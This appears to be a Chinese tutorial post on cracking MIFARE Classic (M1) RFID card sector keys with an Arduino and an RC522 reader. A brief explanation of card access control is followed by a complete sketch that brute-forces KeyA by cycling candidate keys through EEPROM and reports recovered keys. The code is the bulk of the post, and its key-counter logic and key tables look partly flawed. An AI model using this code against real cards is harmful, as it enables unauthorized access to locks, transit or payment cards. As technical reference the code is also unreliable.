每个扇区的密码和存取控制都是独立的,可以根据实际需要设定各自的密码及存取控制。存取控制为 4 个字节,共 32
位,扇区中的每个块(包括数据块和控制块)的存取条件是由密码和存取控制共同决定的(类似于x86的内存读写管理r/w/rw),在存取控制中每个块都有
相应的三个控制位,定义如下
M1卡和M1兼容卡的KeyA和KeyB分别对应不同的授权控制,最后的读写控制由KeyA、KeyB、访问控制位共同决定,一般情况下,我们只要破解KeyA就可以进行大都数的卡操作
rc522在和M1卡进行auth认证时,如果当前传入的密钥不对,则M1的整个三向握手会失败,M1和清空当前会话(此前的选卡、锁卡全部无效),所以对于M1卡的爆破需要不断重复整个选卡->锁卡->认证过程。可以使用EEPROM来存储密钥破解过程的中间值
#include <SPI.h>
#include <RFID.h>
#include <EEPROM.h>
//4字节卡序列号,第5字节为校验字节
uchar serNum[5];
//扇区A密码,16个扇区,每个扇区密码6Byte
uchar sectorKeyA[16][16] = {
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //1
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //2
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //3
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //4
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //5
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //6
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //7
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //8
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //9
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //10
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //11
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //12
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //13
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //14
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //15
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //16
};
uchar sectorNewKeyA[16][16] = {
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //1
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //2
{0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF}, //3
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //4
{0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07}, //5
{0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF}, //6
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //7
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //8
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //9
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //10
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //11
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //12
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //13
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //14
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //15
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //16
};
//D10 - 读卡器CS引脚、D5 - 读卡器RST引脚
RFID rfid(10,5);
uchar status;
uchar str[MAX_LEN]; //MAX_LEN为16,数组最大长度
void initSectorKeyEEPROM(){
EEPROM.write(1, 255); //keyIndex_1
EEPROM.write(2, 255); //keyIndex_2
EEPROM.write(3, 255); //keyIndex_3
EEPROM.write(4, 255); //keyIndex_4
EEPROM.write(5, 255); //keyIndex_5
EEPROM.write(6, 240); //keyIndex_6
}
uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
int addSector(){
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
int havaCracked ;
keyIndex_1 = EEPROM.read(1);
keyIndex_2 = EEPROM.read(2);
keyIndex_3 = EEPROM.read(3);
keyIndex_4 = EEPROM.read(4);
keyIndex_5 = EEPROM.read(5);
keyIndex_6 = EEPROM.read(6);
if(keyIndex_1 >= 255){
if(keyIndex_2 >= 255){
if(keyIndex_3 >= 255){
if(keyIndex_4 >= 255){
if(keyIndex_5 >= 255){
if(keyIndex_6 >= 255){
Serial.println("crack error!, key reach the limit");
havaCracked = 1; EEPROM.write(0, havaCracked);
}else{
keyIndex_6++;
}
}else{
keyIndex_5++;
}
}else{
keyIndex_4++;
}
}else{
keyIndex_3++;
}
}else{
keyIndex_2++;
}
}else{
keyIndex_1++;
}
EEPROM.write(1, keyIndex_1); //keyIndex_1
EEPROM.write(2, keyIndex_2); //keyIndex_2
EEPROM.write(3, keyIndex_3); //keyIndex_3
EEPROM.write(4, keyIndex_4); //keyIndex_4
EEPROM.write(5, keyIndex_5); //keyIndex_5
EEPROM.write(6, keyIndex_6); //keyIndex_6
}
void printSector(){
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t');
keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t');
keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t');
keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t');
keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t');
keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t');
Serial.println(" ");
}
//破解卡指定扇区密码
void crackSector(int sectorNum){
unsigned char status;
int havaCracked;
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
//printSector();
keyIndex_1 = EEPROM.read(1);
keyIndex_2 = EEPROM.read(2);
keyIndex_3 = EEPROM.read(3);
keyIndex_4 = EEPROM.read(4);
keyIndex_5 = EEPROM.read(5);
keyIndex_6 = EEPROM.read(6);
uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6};
status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum); //认证
if (status == MI_OK) {
Serial.println("crack success!");
Serial.print("sector "); Serial.print(sectorNum); Serial.print(" key: ");
printSector();
havaCracked = 1; EEPROM.write(0, havaCracked);
//return;
}else{
addSector();
}
}
//读卡
void readSector(int blockNum, unsigned char *recvData){
unsigned char status;
//选择操作的块地址0~63
uchar blockAddr;
blockAddr = blockNum;
status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum); //认证
if (status == MI_OK) {
status = rfid.read(blockAddr, recvData);
if (status == MI_OK) {
//Serial.println("Read from the card ,the data is : ");
for (int i=0; i<MAX_LEN; i++) {
Serial.print(recvData[i]);
Serial.print('\t');
}
Serial.println(" ");
}
}
else{
Serial.println("Auth error");
}
//Serial.println(" ");
}
void setup()
{
int havaCracked = 0;
int crackSectorIndex = 0;
Serial.begin(9600);
SPI.begin();
rfid.init(); //初始化
Serial.print("init ");
EEPROM.write(0, havaCracked); //havaCracked
EEPROM.write(10, crackSectorIndex); //havaCracked
initSectorKeyEEPROM();
}
void loop()
{
int havaCracked = 0;
int crackSectorIndex = 0;
uchar RC_size;
//Search card, return card types
if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) {
//Serial.println("Find the card!");
// Show card type
//ShowCardType(serNum);
//防冲突检测,读取卡序列号
if (rfid.anticoll(serNum) == MI_OK) {
//Serial.print("The card's number is : ");
//显示卡序列号
for(int i = 0; i < 4; i++){
//Serial.print(0x0F & (serNum[i] >> 4),HEX);
//Serial.print(0x0F & serNum[i],HEX);
}
//Serial.println("");
}
//选卡(锁定卡片,防止多数读取,去掉本行将连续读卡),并返回卡容量
RC_size = rfid.selectTag(serNum);
if (RC_size != 0) {
//Serial.print("Lock Card ok! Size: ");
//Serial.println(RC_size);
}
havaCracked = EEPROM.read(0);
//Serial.print("havaCracked: "); Serial.println(havaCracked);
//Serial.print("EEPROM.read(10): "); Serial.println(EEPROM.read(10));
if(havaCracked == 1 && EEPROM.read(10) <= 15){
crackSectorIndex = EEPROM.read(10);
crackSectorIndex++;
EEPROM.write(10, crackSectorIndex);
EEPROM.write(0, 0);
initSectorKeyEEPROM();
}
else if(havaCracked == 0){
//Serial.println("starting crack the card: ...");
crackSectorIndex = EEPROM.read(10);
crackSector(crackSectorIndex);
}
//
}else{
memset(serNum,0,sizeof(uchar) * 5);
}
//rfid.halt(); //命令卡片进入休眠状态
//清空状态
memset(serNum,0,sizeof(uchar) * 5);
memset(str,0,sizeof(uchar) * MAX_LEN);
status = '\x00';
}
void ShowCardType(unsigned char * type)
{
Serial.print("Card type: ");
if(type[0]==0x04&&type[1]==0x00)
Serial.println("MFOne-S50");
else if(type[0]==0x02&&type[1]==0x00)
Serial.println("MFOne-S70");
else if(type[0]==0x44&&type[1]==0x00)
Serial.println("MF-UltraLight");
else if(type[0]==0x08&&type[1]==0x00)
Serial.println("MF-Pro");
else if(type[0]==0x44&&type[1]==0x03)
Serial.println("MF Desire");
else
Serial.println("Unknown");
}
可以按照此方法破解出所有扇区的密码,值得注意的是,keyA、keyB的破解时间成本都是(2 ^ 8) ^ 6次,即最多要进行这么多次的"寻卡-选卡-auth认证"才能得到一个扇区的密码,而得到所有扇区还要再乘16